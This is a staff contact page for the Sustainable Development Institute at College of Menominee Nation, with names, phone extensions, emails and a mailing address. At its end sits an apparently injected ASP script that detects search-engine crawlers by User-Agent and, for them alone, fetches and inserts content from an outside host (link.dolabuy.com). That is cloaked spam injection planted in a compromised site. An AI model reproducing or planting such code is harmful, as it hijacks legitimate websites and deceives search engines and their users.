Print this Page

Contact Us

If you or your organization are interested in working with the Sustainable Development Institute, or you would like more information please contact:

Chris Caldwell, Director
Sustainable Development Institute
Phone: 715-799-6226 ext. 3145
ccaldwell@menominee.edu

Cynthia Norton
Administrative Assistant
Phone: 715-799-6226 ext. 3041

Rebecca Edler
Sustainability Coordinator
Phone: 715-799-6226 ext. 3043
redler@menominee.edu

Cherie Thunder
Sustainability Education Coordinator
Phone: 715-799-6226 ext.3243
cthunder@menominee.edu

Gregory Gauthier
AmeriCorps TCU VISTA
Phone: (715)799-6226 ext. 3268
ggauthier@menominee.edu

Scott Kalafatis
NSF Postdoctoral Researcher
skalafatis@menominee.edu

 

Mailing Address:

College of Menominee Nation
Sustainable Development Insititute
PO Box 1179
Keshena, WI 54135

Permanent link to this article: http://sustainabledevelopmentinstitute.org/contact-us/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>